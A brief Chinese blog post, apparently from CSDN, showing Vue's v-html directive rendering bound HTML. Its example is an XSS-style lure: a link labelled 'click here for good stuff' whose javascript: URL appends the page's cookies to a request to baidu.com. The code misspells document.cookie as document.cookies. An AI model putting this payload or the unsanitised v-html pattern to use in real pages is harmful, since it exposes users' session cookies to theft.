V-html

最新推荐文章于 2024-01-24 09:44:22 发布

SXY0426

最新推荐文章于 2024-01-24 09:44:22 发布

阅读量131

点赞数

文章标签： html javascript vue.js

本文链接：https://blog.csdn.net/qq_44383759/article/details/125051646

版权

本文演示了如何在Vue.js中使用`v-html`指令动态解析HTML内容，并结合JavaScript获取cookies，创建了一个点击跳转到百度的链接。然而，使用`v-html`直接插入用户提供的HTML可能存在XSS攻击风险，开发者应注意数据安全问题。

摘要由CSDN通过智能技术生成

v-html可以解析绑定内容的标签，可以获取cookies

 <div id="root">
        <h1>{{msg}}</h1>
        <h1 v-text="msg">6666666</h1>
        <h3 v-html="msgT"></h3>
    </div>
    <script src="vue.js"></script>
    <script>
        const vm=new Vue({
            el:"#root",
            data() {
                return {
                    msg:"你好啊",
                    msgT:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookies>点进来好东西</a>'
                }
            },
        })
    </script>